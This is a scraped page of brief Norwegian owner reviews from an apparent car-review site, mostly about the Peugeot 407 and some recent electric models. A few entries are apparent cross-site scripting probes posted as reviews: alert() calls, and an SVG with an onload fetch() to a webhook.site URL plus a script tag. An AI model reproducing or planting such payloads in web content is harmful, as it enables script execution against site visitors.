Vurdert av Eirik Brunborg
Peugeot 407 (2010)
407 gen 2. Har opplevd bilen som mye bedre enn sitt rykte. Har svært gode og sportslige kjøreegenskaper. Høyt utstyrsnivå. Motoren gir stor kjøreglede. Ingen tegn til slitasje på motor og drivve
Peugeot 407 (2009)
Meget fornøyd med bilholdet. Har kjørt 110000 km på 5 år.
Peugeot 407 (2009)
Mye bil for pengene, anbefaler 2.0 HDi motorn. Å sjekk service historikk.
Peugeot 407 (2008)
Meget god bil som har vært med oss siden den var ny. Driftsikker og rimelig i drift.
Peugeot 407 (2008)
Er veldig fornøyd med bilen. Bærer ikke preg av å ha gått 420000 km. Helskinn innvendig med alt tenkelig utstyr. Innebygd navigator.
Peugeot 407 (2008)
Uproblematisk bilhold
Peugeot 407 (2008)
Faktisk, det eneste som jeg har å utsette på denne bilen i mitt 1,5års eie er at ene sete knirker. Ellers har den vært feilfri i bruk, og trengt vanlig service. Fikk den for 80tusen kr, gått 73tu
Peugeot 407 (2008)
Elsker denne bilen med 2.2biturbo. Kan ikke sammenlignes med noen av de andre motor alternativene. Driftsikker og enormt god å kjøre. Denne bilen er i sitt ess med denne motoren.
Peugeot 407 (2007)
Bilen hadde gått vel 100.000 da vi kjøpte den 11 år gammel - for en billig penge. «Røverkjøp» tenkte jeg. Og ja - i det store bildet billig bilhold. Men 3 hjullagerskift og kronisk starttrøbbe
Peugeot 407 (2007)
Bilen er i daglig drift og går som ei klokke fortsatt.
Peugeot 407 (2007)
Veldig god komfort og kjøreegenskaper men der stopper alt positivt med 407 1.6HDI! Jeg hadde 2 fantastiske uker med min 407 så begynte problemene... Feil jeg fikk. EGR ventilen røk, Turbo lekkasje,
Peugeot 407 (2007)
Har svært ambivalente følelser for denne bilen. På den ene siden synes jeg det er en bil som design messig holder seg godt. En bil som skiller seg litt ut. Behagelig og komfortabel bil på langtur.
Peugeot 407 (2006)
En drøm å kjøre en drøm å se på. Dette var den første bilen jeg hadde og jeg håper jeg kan kjøpe den som min siste bil også.
Peugeot 407 (2006)
Godt fornøyd med bilen som ha vært i mitt eie i ca 8 år
Peugeot 407 (2006)
Vurderte denne mot Merc CLK i sin tid,men fant ut at denne ikke bare var mere spennende den hadde også mye mere motor enn det man fant i de fleste Mercedes av coupe. Mye mer moro..
Renault 5 E-Tech (2025)
Dette er virkelig en bil jeg anbefaler. Årets bil i Europa og Årets bil i Norge, med god grunn. Veldig kult retro-design. Legger til at Renault også hadde årets bil i Europa i 2024 med Scenic E-Te
Citroën e-C4 (2025)
Jeg er foreløpig veldig fornøyd. Har slitt litt med å finne den optimale sittekomforten, men en pute gjorde susen der (jeg er 180 og trengte ekstra korsryggstøtte). Bilens automatikk passer meg ve
Aston Martin DB9 GT (2017)
alert("total")
Aston Martin DB9 GT (2017)
totalvurderingtest
Abarth 500e (2024)
Abarth 500e (2024)
Abarth 500e (2024)
xxxfooo4
Abarth 500e (2024)
<svg xmlns="http://www.w3.org/2000/svg" onload="fetch('https://webhook.site/418d388b-4676-4b57-95ba-4330be1ec311')"> <circle cx="50" cy="50" r="40" fill="red"/> </svg> <script>alert(1)</script>
Volvo EX40 (2026)
Dette er ikke en volvo som vi er kjent med volvo. Dårlige seter, umulig å opprettholde 20grader i kupe på vinter, kjapp på gasspedal, men enormt strømforbruk uansett hvordan du prøver å tilpass
Ford Explorer EV (2025)
Kommer nok til å bytte den ut pga den nervøse oppførselen på vinterføre. Utenom dette svarer den godt på alle parametre.
Ford Kuga (2021)
Forbruk. Gir en tier for forbruk langkjøring. 0,44 og forbruk 0,8 med campingvogn, totalvekt 1400 kg(ved tomt batteri). Rekkevidde elektrisk på vinter månedene er fra 20 - 30 km, blandet/bykjøring
Hongqi E-HS9 (2022)
Den er utrolig komfortabel, stille og har en kvalitet som overgår det meste på markedet. Har hatt bilen i 2år nå, å hele familien elsker bilen!
Mercedes-Benz EQC (2022)
Topp komfort og driftsikker.
Polestar 2 (2022)
God kvalitetsfølelse. Gode (frem-) seter. Smart med OTA (oppdateringer over-the-air). Lett å selv restarte system og app etter behov. Pen bil! Praktisk med frunk for elkabler på langtur. (hvorfor h
Mercedes-Benz GLE (2020)
Skuffende å måtte skifte opphengskuler foran på begge sider etter kun 75000 km